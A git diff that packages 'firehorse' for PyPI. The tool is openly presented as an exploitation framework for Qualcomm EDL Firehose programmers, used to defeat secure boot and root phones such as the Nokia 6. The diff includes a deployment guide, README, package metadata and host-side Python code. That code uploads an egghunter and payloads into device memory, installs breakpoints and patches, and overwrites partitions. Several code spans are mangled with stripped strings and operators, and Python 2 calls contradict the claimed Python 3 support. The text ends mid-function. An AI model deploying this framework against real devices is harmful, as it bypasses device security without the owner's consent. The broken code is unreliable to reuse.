diff --git a/DEPLOYMENT.md b/DEPLOYMENT.md new file mode 100644 index 0000000..53b8c07 --- /dev/null +++ b/DEPLOYMENT.md @@ -0,0 +1,120 @@ +# Deployment Guide for Firehorse + +## Building the Package + +The package has been successfully built and is ready for deployment to PyPI. + +### Built Artifacts +- **Wheel**: `dist/firehorse-1.0.0-py3-none-any.whl` (38KB) +- **Source**: `dist/firehorse-1.0.0.tar.gz` (18.9MB) + +## Testing the Package + +### Local Installation Test +```bash +# Install the built wheel +pip install dist/firehorse-1.0.0-py3-none-any.whl + +# Test the command +firehorse --help +``` + +### Development Installation +```bash +# Install in development mode +pip install -e . + +# Test the module +python -m firehorse --help +``` + +## Publishing to PyPI + +### Prerequisites +1. Install twine (if not already installed): +```bash +pip install twine +``` + +2. Create PyPI account at https://pypi.org/account/register/ + +### Upload to Test PyPI (Recommended First) +```bash +# Upload to Test PyPI +twine upload --repository testpypi dist/* + +# Install from Test PyPI +pip install --index-url https://test.pypi.org/simple/ firehorse +``` + +### Upload to Production PyPI +```bash +# Upload to PyPI +twine upload dist/* + +# Users can then install with: +pip install firehorse +``` + +## Version Management + +The package uses `setuptools-scm` for version management. To update the version: + +1. Create a git tag: +```bash +git tag v1.0.1 +git push origin v1.0.1 +``` + +2. Rebuild the package: +```bash +python -m build +``` + +3. Upload the new version: +```bash +twine upload dist/* +``` + +## Package Structure + +The package has been structured as follows: +``` +firehorse/ +├── firehorse/ # Main package +│ ├── __init__.py # Package initialization +│ ├── _version.py # Version information +│ ├── firehorse.py # Main entry point +│ ├── *.py # Core modules +│ └── target/ # Target device configurations +├── device/ # Device payload sources +├── setup.py # Package setup +├── pyproject.toml # Modern Python packaging +├── MANIFEST.in # File inclusion rules +├── requirements.txt # Runtime dependencies +└── README.md # Documentation +``` + +## Dependencies + +### Runtime Dependencies +- pyserial>=3.5 +- pyusb>=1.0.0 +- cryptography>=3.0 + +### Development Dependencies +- pytest>=6.0 +- black>=21.0 +- flake8>=3.8 +- twine>=3.0 +- wheel>=0.36 +- build>=0.3 +- setuptools-scm>=6.0 + +## Notes + +1. The package includes all necessary XML configuration files and target device definitions +2. Device payload sources are included in the source distribution +3. The package is compatible with Python 3.6+ +4. Cross-platform support (Windows and Linux) +5. Console script `firehorse` is automatically installed and available in PATH diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000..f61efec --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,31 @@ +# Include the README and LICENSE files +include README.md +include LICENSE +include pyproject.toml + +# Include all Python files +recursive-include firehorse *.py + +# Include XML configuration files +recursive-include firehorse *.xml + +# Include device directory with all source files +recursive-include device *.c +recursive-include device *.h +recursive-include device *.S +recursive-include device *.ld +recursive-include device Makefile +recursive-include device entry + +# Include target device files +recursive-include firehorse/target *.xml + +# Exclude compiled files and cache +global-exclude *.pyc +global-exclude *.pyo +global-exclude *.pyd +global-exclude __pycache__ +global-exclude .git* +global-exclude *.so +global-exclude *.a +global-exclude *.o diff --git a/README.md b/README.md index 832021f..3c08a8b 100755 --- a/README.md +++ b/README.md @@ -12,13 +12,27 @@ Blog posts: 5. [Exploiting Qualcomm EDL Programmers (5): Breaking Nokia 6's Secure Boot](https://alephsecurity.com/2018/01/22/qualcomm-edl-5/) +## Installation + +### Option 1: Install from PyPI (Recommended) +```bash +pip install firehorse +``` + +### Option 2: Install from Source +```bash +git clone https://github.com/alephsecurity/firehorse.git +cd firehorse +pip install -e . +``` + ## Usage ### Prerequisites To use this tool you'll need: 1. Qualcomm Product Support Tools (QPST - we used version 2.7.437 running on a windows 10 machine) 2. A Cross compiler to build the payload for the devices (we used [arm-eabi-4.6](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/) toolchain for aarch32 and [aarch64-linux-android-4.8](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.8/) toolchain for aarch64, both running on ubuntu 16.04 machine) -   3. Acquire the relevant programmers and copy them to the host/target/device directory + 3. Acquire the relevant programmers and copy them to the firehorse/target/device directory ### Building the payloads @@ -33,48 +47,41 @@ export CROSS_COMPILE_64=/bin/aarch6 Then call make and the payload for your specific device will be built ### Configure the tool -Before we start, we need to configure some stuff, edit the constants.py file in the host directory: - 1. set COM to whatever com port the device is connnected to - 2. set FH_LOADER with a path to the fh_loader.exe in the QPST\bin directory - 3. set SAHARA_SERVER with a path to the QSaharaServer.exe in the QPST\bin directory - -```python -COM = "COM17" -FH_LOADER = r"C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" -SAHARA_SERVER = r"C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" +Before we start, we need to configure some stuff. The tool now requires command line arguments for configuration: + +**Required Arguments:** + - `-c COM` : COM port where the device is connected + - `--fh-loader PATH` : Path to fh_loader.exe in QPST\bin directory + - `--sahara-server PATH` : Path to QSaharaServer.exe in QPST\bin directory + - `-t TARGET_NAME` : Target device name + +**Example Configuration:** +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 target magic ``` ### Usage examples +```bash +firehorse -s -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 target magic ``` -c:\firehorse\host>python firehorse.py -s -c COM17 -t nokia6 target magic -INFO: sending programmer... -INFO: Overwriting partition logdump with ../tmp\nokia6-ramdisk-modified.cpio.gz... -INFO: applying patches and breakpoints... -INFO: installing bp for 0010527c -INFO: installing bp for 00104130 -[...] -INFO: creating pagecopy... -INFO: pages: set([272, 256, 259, 260, 261]) -INFO: uploading firehorse data... -INFO: uploading egghunter to 080af000 -INFO: 080af000 -INFO: i = 0, dst = 080d0000, cksum = d1fe325f -INFO: i = 1, dst = 080d0320, cksum = 3c092224 -INFO: got all parts in 1 tries -INFO: uploading firehorse... -INFO: i = 0, dst = 080b0000, cksum = f5234b61 -INFO: i = 1, dst = 080b0320, cksum = 641cb436 -[...] -INFO: got all parts in 2 tries -INFO: initializing firehorse... -INFO: calling pbl patcher... -``` - +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 fw hello ``` -c:\firehorse\host>python firehorse.py -c COM17 -t nokia6 fw hello -c:\firehorse\host>python firehorse.py -c COM17 -t nokia6 fw peek 0x100000 0x10 -INFO: 00100000 22 00 00 ea 70 00 00 ea 74 00 00 ea 78 00 00 ea "...p...t...x... +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 fw peek 0x100000 0x10 ``` diff --git a/dist/firehorse-1.0.0-py3-none-any.whl b/dist/firehorse-1.0.0-py3-none-any.whl new file mode 100644 index 0000000..ce03a26 Binary files /dev/null and b/dist/firehorse-1.0.0-py3-none-any.whl differ diff --git a/dist/firehorse-1.0.0.tar.gz b/dist/firehorse-1.0.0.tar.gz new file mode 100644 index 0000000..0a331a9 Binary files /dev/null and b/dist/firehorse-1.0.0.tar.gz differ diff --git a/firehorse.egg-info/PKG-INFO b/firehorse.egg-info/PKG-INFO new file mode 100644 index 0000000..207b36a --- /dev/null +++ b/firehorse.egg-info/PKG-INFO @@ -0,0 +1,338 @@ +Metadata-Version: 2.4 +Name: firehorse +Version: 1.0.0 +Summary: Research & Exploitation framework for Qualcomm EDL Firehose programmers +Home-page: https://github.com/alephsecurity/firehorse +Author: Roee Hay & Noam Hadad +Author-email: Roee Hay , Noam Hadad +Maintainer-email: Aleph Research +License: Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +Project-URL: Homepage, https://github.com/alephsecurity/firehorse +Project-URL: Repository, https://github.com/alephsecurity/firehorse +Project-URL: Documentation, https://alephsecurity.com/ +Project-URL: Blog Posts, https://alephsecurity.com/2018/01/22/qualcomm-edl-1/ +Project-URL: Research, https://alephsecurity.com/research/ +Project-URL: Bug Tracker, https://github.com/alephsecurity/firehorse/issues +Keywords: qualcomm,edl,firehose,mobile,security,research,exploitation +Classifier: Development Status :: 4 - Beta +Classifier: Intended Audience :: Developers +Classifier: Intended Audience :: Information Technology +Classifier: Topic :: Security +Classifier: Topic :: Software Development :: Embedded Systems +Classifier: Topic :: System :: Hardware +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: 3.11 +Classifier: Operating System :: Microsoft :: Windows +Classifier: Operating System :: POSIX :: Linux +Requires-Python: >=3.6 +Description-Content-Type: text/markdown +License-File: LICENSE +Requires-Dist: pyserial +Requires-Dist: pyusb +Requires-Dist: cryptography +Provides-Extra: dev +Requires-Dist: pytest; extra == "dev" +Requires-Dist: black; extra == "dev" +Requires-Dist: flake8; extra == "dev" +Requires-Dist: twine; extra == "dev" +Requires-Dist: wheel; extra == "dev" +Requires-Dist: build; extra == "dev" +Requires-Dist: setuptools_scm; extra == "dev" +Dynamic: author +Dynamic: home-page +Dynamic: license-file +Dynamic: requires-python + +# firehorse +By Roee Hay ([@roeehay](https://twitter.com/roeehay)) & Noam Hadad, Aleph Reseserch, HCL Technologies + +Research & Exploitation framework for Qualcomm EDL Firehose programmers. + +Blog posts: + +1. [Exploiting Qualcomm EDL Programmers (1): Gaining Access & PBL Internals](https://alephsecurity.com/2018/01/22/qualcomm-edl-1/) +2. [Exploiting Qualcomm EDL Programmers (2): Storage-based Attacks & Rooting](https://alephsecurity.com/2018/01/22/qualcomm-edl-2/) +3. [Exploiting Qualcomm EDL Programmers (3): Memory-based Attacks & PBL Extraction](https://alephsecurity.com/2018/01/22/qualcomm-edl-3/) +4. [Exploiting Qualcomm EDL Programmers (4): Runtime Debugger](https://alephsecurity.com/2018/01/22/qualcomm-edl-4/) +5. [Exploiting Qualcomm EDL Programmers (5): Breaking Nokia 6's Secure Boot](https://alephsecurity.com/2018/01/22/qualcomm-edl-5/) + + +## Installation + +### Option 1: Install from PyPI (Recommended) +```bash +pip install firehorse +``` + +### Option 2: Install from Source +```bash +git clone https://github.com/alephsecurity/firehorse.git +cd firehorse +pip install -e . +``` + +## Usage + +### Prerequisites +To use this tool you'll need: + 1. Qualcomm Product Support Tools (QPST - we used version 2.7.437 running on a windows 10 machine) + 2. A Cross compiler to build the payload for the devices (we used [arm-eabi-4.6](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/) toolchain for aarch32 and [aarch64-linux-android-4.8](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.8/) toolchain for aarch64, both running on ubuntu 16.04 machine) + 3. Acquire the relevant programmers and copy them to the firehorse/target/device directory + + +### Building the payloads +First, edit the Makefile in the device directory - set the device variable to whatever device you want (nokia6, angler, ugglite, mido and cheeseburger are currently supported). +
+
+Next, set the CROSS_COMPILE_32 and CROSS_COMPILE_64 enviroment vars as follows: +``` +export CROSS_COMPILE_32=/bin/arm-eabi- +export CROSS_COMPILE_64=/bin/aarch64-linux-android- +``` +Then call make and the payload for your specific device will be built + +### Configure the tool +Before we start, we need to configure some stuff. The tool now requires command line arguments for configuration: + +**Required Arguments:** + - `-c COM` : COM port where the device is connected + - `--fh-loader PATH` : Path to fh_loader.exe in QPST\bin directory + - `--sahara-server PATH` : Path to QSaharaServer.exe in QPST\bin directory + - `-t TARGET_NAME` : Target device name + +**Example Configuration:** +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 target magic +``` + + +### Usage examples +```bash +firehorse -s -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 target magic +``` + +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 fw hello +``` + +```bash +firehorse -c COM17 \ + --fh-loader "C:\Program Files (x86)\Qualcomm\QPST437\bin\fh_loader.exe" \ + --sahara-server "C:\Program Files (x86)\Qualcomm\QPST437\bin\QSaharaServer.exe" \ + -t nokia6 fw peek 0x100000 0x10 +``` diff --git a/firehorse.egg-info/SOURCES.txt b/firehorse.egg-info/SOURCES.txt new file mode 100644 index 0000000..c0bac58 --- /dev/null +++ b/firehorse.egg-info/SOURCES.txt @@ -0,0 +1,125 @@ +LICENSE +MANIFEST.in +README.md +pyproject.toml +setup.py +device/Makefile +device/asm.S +device/asm64.S +device/constants.c +device/constants.h +device/dacr.c +device/dbg.S +device/dbg.c +device/dbg64.S +device/dbg64.c +device/dload.S +device/dload.c +device/entry +device/entry.S +device/entry64.S +device/fh.c +device/fh.h +device/fh.ld +device/fh32.h +device/fh64.h +device/flushtlb.c +device/glue.c +device/glue.h +device/glue32.h +device/glue64.h +device/gluemacros.h +device/init.c +device/init64.S +device/init64.c +device/log.h +device/null.c +device/pagecopy.c +device/pageremap.c +device/pt.c +device/pt64.c +device/pt64.h +device/shook.h +device/shook64.h +device/stdlib.c +device/stdlib.h +device/xmlhunt.c +device/target/angler/constants.h +device/target/angler/shook_target.h +device/target/cheeseburger/constants.h +device/target/cheeseburger/pt64.h +device/target/cheeseburger/shook_target.h +device/target/mido/constants.h +device/target/mido/patcher.c +device/target/mido/shook_target.h +device/target/nokia6/constants.h +device/target/nokia6/patcher.c +device/target/nokia6/shook_target.h +device/target/ugglite/constants.h +device/target/ugglite/patcher.c +device/target/ugglite/shook_target.h +firehorse/__init__.py +firehorse/_version.py +firehorse/cmd.py +firehorse/constants.py +firehorse/fh.py +firehorse/firehorse.py +firehorse/fw.py +firehorse/log.py +firehorse/peek0.xml +firehorse/peek1.xml +firehorse/poke0.xml +firehorse/poke1.xml +firehorse/pt.py +firehorse/pt64.py +firehorse/target.py +firehorse/target_angler.py +firehorse/target_cheeseburger.py +firehorse/target_mido.py +firehorse/target_nokia6.py +firehorse/target_oneplus3t.py +firehorse/target_oneplusx.py +firehorse/target_ugglite.py +firehorse/xmlhunter0.xml +firehorse/xmlhunter1.xml +firehorse.egg-info/PKG-INFO +firehorse.egg-info/SOURCES.txt +firehorse.egg-info/dependency_links.txt +firehorse.egg-info/entry_points.txt +firehorse.egg-info/requires.txt +firehorse.egg-info/top_level.txt +host/cmd.py +host/constants.py +host/fh.py +host/firehorse.py +host/fw.py +host/log.py +host/peek0.xml +host/peek1.xml +host/poke0.xml +host/poke1.xml +host/pt.py +host/pt64.py +host/target.py +host/target_angler.py +host/target_cheeseburger.py +host/target_mido.py +host/target_nokia6.py +host/target_oneplus3t.py +host/target_oneplusx.py +host/target_ugglite.py +host/xmlhunter0.xml +host/xmlhunter1.xml +host/target/angler/pbl-angler-bbdb.txt +host/target/angler/rawprogram0.xml +host/target/mido/pbl-mido-bbdb.txt +host/target/mido/rawprogram0.xml +host/target/nokia6/egg-nokia6.xml +host/target/nokia6/nokia6-ramdisk-modified.cpio.gz +host/target/nokia6/pbl-nokia6-bbdb.txt +host/target/nokia6/rawprogram0.xml +host/target/oneplus3t/rawprogram.xml +host/target/oneplusx/pbl-oneplusx-bbdb.txt +host/target/ugglite/boot-ugglite-root.img +host/target/ugglite/pbl-ugglite-bbdb.txt +host/target/ugglite/rawprogram0.xml \ No newline at end of file diff --git a/firehorse.egg-info/dependency_links.txt b/firehorse.egg-info/dependency_links.txt new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/firehorse.egg-info/dependency_links.txt @@ -0,0 +1 @@ + diff --git a/firehorse.egg-info/entry_points.txt b/firehorse.egg-info/entry_points.txt new file mode 100644 index 0000000..29ad01a --- /dev/null +++ b/firehorse.egg-info/entry_points.txt @@ -0,0 +1,2 @@ +[console_scripts] +firehorse = firehorse.firehorse:main diff --git a/firehorse.egg-info/requires.txt b/firehorse.egg-info/requires.txt new file mode 100644 index 0000000..0409aee --- /dev/null +++ b/firehorse.egg-info/requires.txt @@ -0,0 +1,12 @@ +pyserial +pyusb +cryptography + +[dev] +pytest +black +flake8 +twine +wheel +build +setuptools_scm diff --git a/firehorse.egg-info/top_level.txt b/firehorse.egg-info/top_level.txt new file mode 100644 index 0000000..bb0d866 --- /dev/null +++ b/firehorse.egg-info/top_level.txt @@ -0,0 +1 @@ +firehorse diff --git a/firehorse/__init__.py b/firehorse/__init__.py new file mode 100644 index 0000000..ea8cf24 --- /dev/null +++ b/firehorse/__init__.py @@ -0,0 +1,29 @@ +""" +Firehorse - Research & Exploitation framework for Qualcomm EDL Firehose programmers + +By Roee Hay & Noam Hadad, Aleph Research, HCL Technologies +""" + +__version__ = "1.0.0" +__author__ = "Roee Hay & Noam Hadad" +__email__ = "research@alephsecurity.com" +__license__ = "Apache License 2.0" + +try: + from ._version import version as __version__ +except ImportError: + pass + +from .firehorse import main +from .fh import * +from .target import * +from .fw import * +from .log import * + +__all__ = [ + "main", + "__version__", + "__author__", + "__email__", + "__license__", +] diff --git a/firehorse/_version.py b/firehorse/_version.py new file mode 100644 index 0000000..c327a41 --- /dev/null +++ b/firehorse/_version.py @@ -0,0 +1,2 @@ +# This file is auto-generated by setuptools_scm +version = "1.0.0" diff --git a/firehorse/cmd.py b/firehorse/cmd.py new file mode 100644 index 0000000..756bbe5 --- /dev/null +++ b/firehorse/cmd.py @@ -0,0 +1,49 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import re +from . import constants +from . import target +from .log import * + +class Commands: + + def __init__(self): + self.cmds = {} + + t = target.get() + + if t.arch == 32: + data = file(constants.CMD_PATH32, "rb").read() + else: + data = file(constants.CMD_PATH64, "rb").read() + + i = 0 + found_export = False + for line in data.split("\n"): + if "exports:" in line: + found_export = True + continue + if found_export is False: + continue + + cmdmatch = re.match(r"B\s+.*?// CMD_([a-zA-Z0-9_]+)", line) + + if not cmdmatch: + # i += 1 + continue + + # print (cmdmatch.group(1), i) + self.cmds[cmdmatch.group(1)] = i + i += 1 + + + def get_cmd(self, name): + return self.cmds[name] + + + def __getattr__(self, name): + D("%s = %d", name, self.get_cmd(name)) + return self.get_cmd(name) diff --git a/firehorse/constants.py b/firehorse/constants.py new file mode 100644 index 0000000..20aefad --- /dev/null +++ b/firehorse/constants.py @@ -0,0 +1,23 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +# Default values - will be overridden by command line arguments +COM = None +FH_LOADER = None +SAHARA_SERVER = None + +BP_MSG_LEN = 23 +BP_FLAG_HALT = 1 +BP_FLAG_ONCE = 2 + +MODE_PROGRAMMER = 0 +MODE_PBL = 1 +MODE_SBL = 2 +MODE_ABL = 3 + +LOG_FILE_PATH = "firehorse.log" + +CMD_PATH32 = "../device/entry.S" +CMD_PATH64 = "../device/entry64.S" diff --git a/firehorse/fh.py b/firehorse/fh.py new file mode 100644 index 0000000..749d647 --- /dev/null +++ b/firehorse/fh.py @@ -0,0 +1,466 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import time +import re +import sys +import binascii +import os +import struct +from .constants import * +from .fw import Framework as FH_FW +from .fw import * +from .log import * + + +class PageCopy: + + def __init__(self, mode, src, dst, pages, target_pages=None): + self.src = src + self.dst = dst + self.pages = pages + self.target_pages = target_pages + self.mode = mode + if target.get().arch == 32: + self.FMT_NPAGES = "> i) & 1: + continue + part = self.blob[i*Egg.PART_SIZE:(i+1)*Egg.PART_SIZE] + partdata = struct.pack(self.FMT, + Egg.MAGIC1, i, len(part), self.dst+i*Egg.PART_SIZE, 0) + part + cksum = self.cksum(partdata) + partdata = partdata[:16] + struct.pack(" 0: + tries -= 1 + got_parts |= self._send_parts(got_parts) + + if got_parts == (2**self.get_parts_count())-1: + break + + I("got all parts in %0d tries" % int(5-tries)) + + + def _send_parts(self, d): + + FH_FW.poke32(self.target.egghunter_found_parts, 0) + + file(Egg.EGG_FILE, "wb").write(self.pack(d)) + xml = file(self.target.egg_xml, "rb").read() + FH_FW.firehose(xml) + FH_FW.exe_cmd(self.target.egghunter_base, 0) + found_parts = FH_FW.peek32(self.target.egghunter_found_parts) + d = FH_FW.peek32(self.target.egghunter_found_parts) + return d + + +class XMLHunter: + MAGIC_START = 0x66683d22 + MAGIC_QUOTE = 0x12893793 + MAGIC_NULL = 0x714298CF + MAGIC_ONEAH = 0xAB5CD6FA + + EGG_FILE = "../tmp/xmlhunt.bin" + FMT = " self.PART_SIZE-20: + I("uploading part of size = %08x, dst = %08x", len(part), self.dst+offset) + self.do_send(self.dst+offset, part) + offset += i + i = 0 + part = b"" + + if 0 == len(part): + return + + I("uploading part of size = %08x, dst = %08x", len(part), self.dst+offset) + self.do_send(self.dst+offset, part) + offset += i + i = 0 + part = b"" + + + def do_send(self, dst, part): + + magic_null = struct.pack("\n" + xml += "\n" + if target.get().ufs: + xml += "" + xml += program.toxml() + "\n" + xml += "\n" + Framework.firehose(xml) + + + @staticmethod + def write_partition(name, srcpath): + program = Framework.read_program_for_partition(name) + if None == program: + raise FirehorseCannotFindProgramException() + + from shutil import copyfile + import os + + srcname = os.path.basename(srcpath) + dstpath = os.path.join("../tmp", srcname) + copyfile(srcpath, dstpath) + program.attributes["filename"] = srcname + + D("write program = %s", program.toxml()) + I("Overwriting partition %s with %s...", name, dstpath) + + xml = "\n" + xml += "\n" + if target.get().ufs: + xml += "" + + xml += program.toxml() + "\n" + xml += "\n" + Framework.firehose(xml) + + + @staticmethod + def peek32(addr): + return struct.unpack(" src and n < (src + size): + I("dst %x, n=%x" % (dst+i, n)) + Framework.poke(dst+i, 8, n + (dst-src)) + else: + Framework.poke(dst+i, 8, n) + i += 8 + + + @staticmethod + def sendfile(path, addr, offset=0, size=-1): + Framework.senddata(file(path, "rb").read(), addr, offset, size) + + + @staticmethod + def senddata(blob, addr, offset=0, size=-1): + blob = blob[offset:] + + if size != -1: + blob = blob[:size] + + blob += b"\x00"*(8-len(blob)%8) + i = 0 + while i < len(blob): + I("%08x" % (addr+i)) + xml = "\n" + + for j in xrange(497): + if target.get().peekpoke_style == 0: + xml += "\n"\ + % (addr+i, struct.unpack("\n"\ + % (addr+i, struct.unpack("= len(blob): + break + + xml += "" + Framework.firehose(xml) + + + @staticmethod + def firehose(xmldata): + f = file("../tmp/temp.xml", "wb") + 